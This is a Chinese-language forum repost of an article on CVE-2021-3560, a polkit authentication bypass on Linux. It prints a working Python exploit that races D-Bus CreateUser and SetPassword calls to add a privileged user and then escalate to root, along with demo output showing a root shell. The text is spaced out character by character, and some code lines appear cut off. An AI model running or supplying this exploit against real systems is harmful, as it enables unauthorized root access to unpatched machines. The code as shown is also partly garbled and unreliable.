搜索

[29026] 2021-06-22_Polkit漏洞利用-CVE-2021-3560

文档创建者：s7ckTeam
浏览次数：68
最后更新：2025-01-19
2021-06-22_Polkit漏洞利用-CVE-2021-3560 P o l k i t   漏 洞 利 用   -   C V E - 2 0 2 1 - 3 5 6 0 O t s 安 全   2 0 2 1 - 0 6 - 2 2 点 击 上 方 蓝 字 “ O t s 安 全 ” 一 起 玩 耍           - 点 击 图 文 广 告   =   打 赏 概 括 概 括 C V E - 2 0 2 1 - 3 5 6 0   是   p o l k i t   上 的 身 份 验 证 绕 过 ， 它 允 许 非 特 权 用 户 使 用   D B u s   调 用 特 权 方 法 ， 在 这 个 漏 洞 中 我 们 将 调 用 由 帐 户 服 务 提 供 的   2   个 特 权 方 法 （ C r e a t e U s e r   和   S e t P a s s w o r d ） ， 这 允 许 我 们 创 建 一 个 特 权 用 户 然 后 为 其 设 置 密 码 ， 最 后 以 创 建 的 用 户 身 份 登 录 ， 然 后 提 升 为   r o o t 。 漏 洞 利 用 代 码 作 者 漏 洞 利 用 代 码 作 者 艾 哈 迈 德 · 阿 尔 莫 拉 比 亚 @ a l m o r a b e a   h t t p : / / a l m o r a b e a . n e t   用 法 用 法 t e s t @ u b u n t u : ~ / D e s k t o p $   p y t h o n 3   C V E - 2 0 2 1 - 3 5 6 0 . p y   * * * * * * * * * * * * * *   漏 洞 利 用 ： 使 用   p o l k i t   进 行 权 限 提 升   -   C V E - 2 0 2 1 - 3 5 6 0   漏 洞 利 用 代 码 由   A h m a d   A l m o r a b e a   @ a l m o r a b e a   编 写 原 始 漏 洞 作 者 ： K e v i n B a c k h o u s e   有 关 更 多 详 细 信 息 ， 请 查 看 ： h t t p s   :   / / g i t h u b . b l o g / 2 0 2 1 - 0 6 - 1 0 - p r i v i l e g e - e s c a l a t i o n - p o l k i t - r o o t - o n - l i n u x - w i t h - b u g / # h i s t o r y   [ + ] 开 始 利 用   [ + ]   以   a h m e d   名 称 创 建 的 用 户   [ + ]   超 时 时 间 ： 0 . 0 0 8 4 4 6 8 9 0 9 9 6 4 0 7 1 9 1 [ + ]   超 时 时 间 ： 0 . 0 0 8 9 3 4 3 3 6 6 8 4 7 0 7 0 8 4   [ + ]   漏 洞 利 用 完 成 ， 您 的 新 用 户 就 像 ' 刚 刚 登 录 ' A h   ,   ' s u   a h m e d ' ,   然 后   ' s u d o   s u '   到   r o o t   b a s h :   无 法 设 置 终 端 进 程 组   ( 4 6 9 8 3 ) :   设 备   b a s h   的   i o c t l   不 合 适 :   在 这 个   s h e l l   中 没 有 作 业 控 制   r o o t @ u b u n t u : / h o m e / t e s t / D e s k t o p #   i d   u i d   = 0 ( r o o t )   g i d = 0 ( r o o t )   g r o u p s = 0 ( r o o t )   r o o t @ u b u n t u : / h o m e / t e s t / D e s k t o p #   w h o a m i   r o o t   r o o t @ u b u n t u : / h o m e / t e s t / D e s k t o p # 演 示 演 示 G U I   A u t h e n t i c a t i o n 终 端 认 证 信 用 信 用 凯 文 巴 克 豪 斯   (   h t t p s : / / g i t h u b . b l o g / 2 0 2 1 - 0 6 - 1 0 - p r i v i l e g e - e s c a l a t i o n - p o l k i t - r o o t - o n - l i n u x - w i t h - b u g /   ) 扩 大 扩 大 攻 击 代 码 #   C V E - 2 0 2 1 - 3 5 6 0 . p y i m p o r t   o s i m p o r t   s y s i m p o r t   t i m e i m p o r t   s u b p r o c e s s i m p o r t   r a n d o m i m p o r t   p w d
抄 送 h t t p s : / / g i t h u b . c o m / A l m o r a b e a / P o l k i t - e x p l o i t 阅 读 原 文 p r i n t   ( " * * * * * * * * * * * * * * " ) p r i n t ( " E x p l o i t :   P r i v i l e g e   e s c a l a t i o n   w i t h   p o l k i t   -   C V E - 2 0 2 1 - 3 5 6 0 " ) p r i n t ( " E x p l o i t   c o d e   w r i t t e n   b y   A h m a d   A l m o r a b e a   @ a l m o r a b e a " ) p r i n t ( " O r i g i n a l   e x p l o i t   a u t h o r :   K e v i n   B a c k h o u s e   " ) p r i n t ( " F o r   m o r e   d e t a i l s   c h e c k   t h i s   o u t :   h t t p s : / / g i t h u b . b l o g / 2 0 2 1 - 0 6 - 1 0 - p r i v i l e g e - e s c a l a t i o n - p o l k i t - r o o t - o n - l i n u x - w i t h - b u g / " ) p r i n t   ( " * * * * * * * * * * * * * * " ) p r i n t ( " [ + ]   S t a r t i n g   t h e   E x p l o i t   " ) t i m e . s l e e p ( 3 ) c h e c k   =   T r u e c o u n t e r   =   0 w h i l e   c h e c k :     c o u n t e r   =   c o u n t e r   + 1     p r o c e s s   =   s u b p r o c e s s . P o p e n ( [ ' d b u s - s e n d ' , ' - - s y s t e m ' , ' - - d e s t = o r g . f r e e d e s k t o p . A c c o u n t s ' , ' - - t y p e = m e t h o d _ c a l l ' , ' - - p r i n t - r e p l y ' , ' / o r g / f r e e d e s k t o p / A c c o u n t s ' , ' o r g . f r e e d e s k t o p . A c c o u n t s . C r e a t e U s e r '     t r y :                 # p r i n t ( ' 1   -   R u n n i n g   i n   p r o c e s s ' ,   p r o c e s s . p i d )         R a n d o m   =   r a n d o m . u n i f o r m ( 0 . 0 0 6 , 0 . 0 0 9 )         p r o c e s s . w a i t ( t i m e o u t = R a n d o m )         p r o c e s s . k i l l ( )     e x c e p t   s u b p r o c e s s . T i m e o u t E x p i r e d :                 # p r i n t ( ' T i m e d   o u t   -   k i l l i n g ' ,   p r o c e s s . p i d )                 p r o c e s s . k i l l ( )     u s e r   =   s u b p r o c e s s . r u n ( [ ' i d ' ,   ' a h m e d ' ] ,   s t d o u t = s u b p r o c e s s . P I P E ) . s t d o u t . d e c o d e ( ' u t f - 8 ' )     i f   u s e r . f i n d ( " u i d " )   ! =   - 1 :         p r i n t ( " [ + ]   U s e r   C r e a t e d   w i t h   t h e   n a m e   o f   a h m e d " )         p r i n t ( " [ + ]   T i m e d   o u t   a t :   " + s t r ( R a n d o m ) )         c h e c k   = F a l s e         b r e a k     i f   c o u n t e r   >   2 0 0 0 :         p r i n t ( " [ - ]   C o u l d n ' t   a d d   t h e   u s e r ,   t r y   a g a i n   i t   m a y   w o r k " )         s y s . e x i t ( 0 ) f o r   i   i n   r a n g e ( 2 0 0 ) :     # p r i n t ( i )     u i d   =   " / o r g / f r e e d e s k t o p / A c c o u n t s / U s e r " + s t r ( p w d . g e t p w n a m ( ' a h m e d ' ) . p w _ u i d )     # I n   c a s e   y o u   n e e d   t o   p u t   a   p a s s w o r d   u n - c o m m e n t   t h e   c o d e   b e l o w   a n d   p u t   y o u r   p a s s w o r d   a f t e r   s t r i n g : y o u r p a s s w o r d '     p a s s w o r d   =   " s t r i n g : "     # r e s   =   s u b p r o c e s s . r u n ( [ ' o p e n s s l ' ,   ' p a s s w d ' , ' - 5 ' , p a s s w o r d ] ,   s t d o u t = s u b p r o c e s s . P I P E ) . s t d o u t . d e c o d e ( ' u t f - 8 ' )     # p a s s w o r d   =   f " s t r i n g : { r e s . r s t r i p ( ) } "     p r o c e s s   =   s u b p r o c e s s . P o p e n ( [ ' d b u s - s e n d ' , ' - - s y s t e m ' , ' - - d e s t = o r g . f r e e d e s k t o p . A c c o u n t s ' , ' - - t y p e = m e t h o d _ c a l l ' , ' - - p r i n t - r e p l y ' , u i d , ' o r g . f r e e d e s k t o p . A c c o u n t s . U s e r . S e t P a s s w o r d ' , p a s s w o r d ,     t r y :                 # p r i n t ( ' 1   -   R u n n i n g   i n   p r o c e s s ' ,   p r o c e s s . p i d )                 R a n d o m   =   r a n d o m . u n i f o r m ( 0 . 0 0 6 , 0 . 0 0 9 )                 p r o c e s s . w a i t ( t i m e o u t = R a n d o m )                 p r o c e s s . k i l l ( )     e x c e p t   s u b p r o c e s s . T i m e o u t E x p i r e d :                 # p r i n t ( ' T i m e d   o u t   -   k i l l i n g ' ,   p r o c e s s . p i d )                 p r o c e s s . k i l l ( ) p r i n t ( " [ + ]   T i m e d   o u t   a t :   "   +   s t r ( R a n d o m ) ) p r i n t ( " [ + ]   E x p l o i t   C o m p l e t e d ,   Y o u r   n e w   u s e r   i s   ' A h m e d '   j u s t   l o g   i n t o   i t   l i k e ,   ' s u   a h m e d ' ,   a n d   t h e n   ' s u d o   s u '   t o   r o o t   " ) p   =   s u b p r o c e s s . c a l l ( " ( s u   a h m e d   - c   ' s u d o   s u ' ) " ,   s h e l l = T r u e )
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理